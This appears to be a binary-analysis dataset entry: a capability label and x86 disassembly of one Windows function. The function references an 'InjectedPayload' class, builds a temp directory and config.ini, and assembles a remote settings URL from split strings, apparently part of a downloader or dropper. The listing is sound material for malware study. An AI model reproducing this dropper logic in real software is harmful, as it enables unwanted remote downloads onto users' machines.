Function at 0x401d15
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x412389
mov eax, dword fs:[0]
push eax
sub esp, 0x978
mov eax, dword [0x41a050]
xor eax, esp
mov dword [esp + 0x970], eax
push ebx
push esi
push edi
mov eax, dword [0x41a050]
xor eax, esp
push eax
lea eax, [esp + 0x988]
mov dword fs:[0], eax
mov edi, ecx
mov esi, 0x400
push esi
lea eax, [esp + 0x180]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [esp + method.InjectedPayload.virtual_0], vtable.InjectedPayload.0
mov dword [esp + 0x118], 0xf
mov dword [esp + 0x114], ebx
mov byte [esp + 0x104], bl
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x104]
mov dword [esp + 0x994], ebx
call fcn.00401207
mov bl, al
lea eax, [esp + 0x57c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [esp + 0x14c]
call fcn.004026e2
lea eax, [esp + 0x57c]
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x994], 1
call fcn.004012ff
push ecx
mov edx, eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x994], 2
call fcn.0040293c
pop ecx
lea ecx, [esp + 0x14c]
push ecx
mov edx, eax
lea ecx, [esp + 0x5c]
mov byte [esp + 0x994], 3
call fcn.0040296c
mov edx, eax
lea ecx, [esp + 0xa4]
mov byte [esp + 0x994], 4
call fcn.0040293c
pop ecx
lea ecx, [esp + 0x58]
call fcn.00401362
lea ecx, [esp + 0x10]
call fcn.00401362
lea ecx, [esp + 0x28]
mov byte [esp + 0x990], 8
call fcn.00401362
cmp dword [esp + 0xb4], 0x10
lea eax, [esp + 0xa0]
cmovae eax, dword [esp + 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.config.ini
lea edx, [esp + 0xa4]
lea ecx, [esp + 0x74]
call fcn.00402992
pop ecx
push 0xf
xor eax, eax
pop ecx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xe0], eax
mov byte [esp + 0xd0], al
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], eax
mov byte [esp + 0x40], al
mov esi, 0x418454
push esi
mov byte [esp + 0x994], 0xb
call fcn.00401080
pop ecx
push eax
push esi
lea ecx, [esp + 0x48]
call fcn.0040289f
mov esi, str.p:__service.sr
push esi
call fcn.00401080
pop ecx
push eax
push esi
lea ecx, [esp + 0x48]
call fcn.0040289f
mov esi, str.vmd2.com_off
push esi
call fcn.00401080
pop ecx
push eax
push esi
lea ecx, [esp + 0x48]
call fcn.0040289f
mov esi, str.ers_getIniti
push esi
call fcn.00401080
pop ecx
push eax
push esi
lea ecx, [esp + 0x48]
call fcn.0040289f
mov esi, str.alSettings.php_
push esi
call fcn.00401080
pop ecx
push eax
push esi
lea ecx, [esp + 0x48]
call fcn.0040289f
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x14]
call fcn.004012ff
lea edx, [esp + 0x10]
lea ecx, [esp + 0x28]
mov byte [esp + 0x990], 0xc
call fcn.004023d6
push eax
lea ecx, [esp + 0x5c]
mov byte [esp + 0x994], 0xd
call fcn.004029fb
pop ecx
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x4c]
mov byte [esp + 0x99c], 0xe
call fcn.004027ff
lea ecx, [esp + 0x58]
call fcn.00401362
lea ecx, [esp + 0x28]
call fcn.00401362
lea ecx, [esp + 0x10]
mov byte [esp + 0x990], 0xb
call fcn.00401362
test bl, bl
je 0x401fc2
lea eax, [esp + 0x104]
push eax
lea ecx, [esp + 0x5c]
call fcn.00402a29
pop ecx
push eax
lea ecx, [esp + 0xd4]
call fcn.0040132c
lea ecx, [esp + 0x58]
call fcn.00401362
cmp dword [esp + 0xe4], 0x10
lea edx, [esp + 0xd0]
cmovae edx, dword [esp + 0xd0]
cmp dword [esp + 0x84], 0x10
lea ecx, [esp + 0x70]
cmovae ecx, dword [esp + 0x70]
cmp dword [esp + 0x54], 0x10
push edx
lea eax, [esp + 0x44]
cmovae eax, dword [esp + 0x44]
push ecx
push eax
lea ecx, [edi + 8]
call fcn.00401ba2
push 0x4184b0
lea ecx, [esp + 0x2c]
call fcn.004012ff
mov ebx, str.General
push ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x994], 0xf
call fcn.004012ff
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x14]
push eax
lea edx, [esp + 0x78]
lea ecx, [esp + 0x124]
mov byte [esp + 0x998], 0x10
call fcn.0040244a
pop ecx
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401362
lea ecx, [esp + 0x28]
mov byte [esp + 0x990], 0x13
call fcn.00401362
push str.AdditionalFiles
lea ecx, [esp + 0x5c]
call fcn.004012ff
push ebx
lea ecx, [esp + 0x8c]
mov byte [esp + 0x994], 0x14
call fcn.004012ff
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x8c]
push eax
lea edx, [esp + 0x78]
lea ecx, [esp + 0x13c]
mov byte [esp + 0x998], 0x15
call fcn.0040244a
pop ecx
pop ecx
lea ecx, [esp + 0x88]
call fcn.00401362
lea ecx, [esp + 0x58]
mov byte [esp + 0x990], 0x18
call fcn.00401362
push str.cmdLineParams
lea ecx, [esp + 0x2c]
call fcn.004012ff
push ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x994], 0x19
call fcn.004012ff
lea eax, [esp + 0x28]
mov byte [esp + 0x990], 0x1a
push eax
lea eax, [esp + 0x14]
push eax
lea edx, [esp + 0x78]
lea ecx, [esp + 0xf0]
call fcn.0040244a
pop ecx
pop ecx
lea ecx, [esp + 0x10]
call fcn.00401362
lea ecx, [esp + 0x28]
mov byte [esp + 0x990], 0x1d
call fcn.00401362
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x5c]
call fcn.004012ff
lea edx, [esp + 0x58]
lea ecx, [esp + 0x164]
mov byte [esp + 0x990], 0x1e
call fcn.004023d6
push eax
lea edx, [esp + 0xa4]
lea ecx, [esp + 0xbc]
mov byte [esp + 0x994], 0x1f
call fcn.00402a93
pop ecx
lea ecx, [esp + 0x164]
call fcn.00401362
lea ecx, [esp + 0x58]
mov byte [esp + 0x990], 0x22
call fcn.00401362
cmp dword [esp + 0xcc], 0x10
lea edx, [esp + 0xb8]
cmovae edx, dword [esp + 0xb8]
cmp dword [esp + 0x130], 0x10
push 0
lea eax, [esp + 0x120]
cmovae eax, dword [esp + 0x120]
push edx
push eax
lea ecx, [edi + 8]
call fcn.00401ba2
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0x138]
push eax
mov ecx, edi
call fcn.004024b9
push 0x4184dc
lea edx, [esp + 0xec]
lea ecx, [esp + 0x2c]
call fcn.00402992
pop ecx
lea ecx, [edi + 0x10]
push ecx
mov edx, eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x994], 0x23
call fcn.0040296c
pop ecx
push eax
lea ecx, [esp + 0xec]
call fcn.0040132c
lea ecx, [esp + 0x10]
call fcn.00401362
lea ecx, [esp + 0x28]
mov byte [esp + 0x990], 0x22
call fcn.00401362
lea eax, [esp + 0x17c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x14]
call fcn.004012ff
push str.DownloadFolder
lea ecx, [esp + 0x2c]
mov byte [esp + 0x994], 0x24
call fcn.004012ff
push ebx
lea ecx, [esp + 0x8c]
mov byte [esp + 0x994], 0x25
call fcn.004012ff
push 0x10
pop ebx
cmp dword [esp + 0x84], ebx
lea esi, [esp + 0x70]
cmovae esi, dword [esp + 0x70]
cmp dword [esp + 0x24], ebx
lea edx, [esp + 0x10]
cmovae edx, dword [esp + 0x10]
cmp dword [esp + 0x3c], ebx
push esi
lea ecx, [esp + 0x2c]
cmovae ecx, dword [esp + 0x2c]
cmp dword [esp + 0xa0], ebx
push edx
lea eax, [esp + 0x90]
cmovae eax, dword [esp + 0x90]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [esp + 0x88]
call fcn.00401362
lea ecx, [esp + 0x28]
call fcn.00401362
lea ecx, [esp + 0x10]
mov byte [esp + 0x990], 0x22
call fcn.00401362
cmp dword [esp + 0xfc], ebx
lea edx, [esp + 0xe8]
cmovae edx, dword [esp + 0xe8]
cmp dword [esp + 0xcc], ebx
lea ecx, [esp + 0xb8]
cmovae ecx, dword [esp + 0xb8]
call fcn.00401000
mov eax, dword [edi + 0xc]
test eax, eax
je 0x40232d
push edi
call eax
pop ecx
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [esp + 0xb8]
call fcn.00401362
lea ecx, [esp + 0xe8]
call fcn.00401362
lea ecx, [esp + 0x134]
call fcn.00401362
lea ecx, [esp + 0x11c]
call fcn.00401362
lea ecx, [esp + 0x40]
call fcn.00401362
lea ecx, [esp + 0xd0]
call fcn.00401362
lea ecx, [esp + 0x70]
call fcn.00401362
lea ecx, [esp + 0xa0]
call fcn.00401362
lea ecx, [esp + 0x14c]
call fcn.00401362
lea ecx, [esp + 0x104]
mov dword [esp + method.InjectedPayload.virtual_0], vtable.InjectedPayload.0
call fcn.00401362
mov ecx, dword [esp + 0x988]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x970]
xor ecx, esp
call fcn.00402cc8
mov esp, ebp
pop ebp
ret